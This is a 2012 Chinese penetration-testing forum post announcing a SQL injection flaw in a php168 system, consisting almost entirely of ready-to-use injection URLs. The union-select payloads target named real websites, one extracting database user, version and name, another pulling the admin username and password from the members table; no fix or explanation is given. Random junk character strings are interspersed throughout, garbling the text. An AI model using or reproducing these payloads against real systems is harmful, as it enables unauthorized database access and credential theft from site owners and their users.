中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--3 F& c5 l2 ?' P
                                                      # p7 P/ Y1 K8 X1 i+ f- [
                                    [attach]94[/attach]
' h" K. j- c3 G1 |1 s  N, y0 a# N9 s7 h; n$ ^& j# x
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--4 I# C0 u8 S7 I, V( \* ?

; X4 G9 \3 C% l5 U3 B$ L
/ a1 L; v- b$ w4 @                                                       [attach]95[/attach]2 [; q# D3 ]# Y& `
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
) L+ {- H" c; j( e* L. q( J& t" O+ j, ~4 C/ E
4 q. s9 E3 ?3 |3 ^
+ I6 X0 |) l: k7 k* Z/ Q! p
                                                         [attach]96[/attach]
! m$ B) n8 X+ o' b$ T( g * d. v  M' s. L* }$ j/ T& f
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
7 c+ ]4 j4 G# V  s% i7 n
1 O0 b2 G, Y! W$ q" i, X; W
1 [, I. A. o% S7 `; h- J8 \( e( i3 k. i9 n5 r2 H+ F* j, S
                                                                  [attach]97[/attach]
  ~' j, N& Q; ^. `

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)